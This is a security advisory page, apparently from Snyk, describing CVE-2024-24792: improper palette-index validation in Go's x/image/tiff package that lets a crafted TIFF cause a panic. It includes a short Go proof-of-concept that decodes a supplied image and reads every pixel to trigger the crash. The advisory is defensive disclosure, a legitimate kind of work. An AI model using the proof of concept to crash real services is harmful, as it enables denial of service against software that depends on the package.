Improper Validation of Array Index Affecting golang.org/x/image/tiff package, versions <0.18.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.12% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GOLANGORGXIMAGETIFF-7268348
  • published19 Jun 2024
  • disclosed18 Jun 2024
  • creditJohn Wright

Introduced: 18 Jun 2024

CVE-2024-24792  (opens in a new tab)
CWE-129  (opens in a new tab)

How to fix?

Upgrade golang.org/x/image/tiff to version 0.18.0 or higher.

Overview

Affected versions of this package are vulnerable to Improper Validation of Array Index due to improper sanitization of palette indices when parsing palette-color images. An attacker could craft a malicious image with color indices out of range of the actual palette, which will eventually result in a panic when the consumer tries to read the color at any corrupted pixel.

Note:

This issue was reported before as CVE-2023-36308.

PoC

package main

import (
    "fmt"
    "os"

    "golang.org/x/image/tiff"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %v <filename>")
        os.Exit(1)
    }
    f, err := os.Open(os.Args[1])
    if err != nil {
        panic(err)
    }
    defer f.Close()

    img, err := tiff.Decode(f)
    if err != nil {
        panic(err)
    }

    b := img.Bounds()
    for x := b.Min.X; x <= b.Max.X; x++ {
        for y := b.Min.Y; y <= b.Max.Y; y++ {
            _ = img.At(x, y)
        }
    }
}

CVSS Base Scores

version 4.0
version 3.1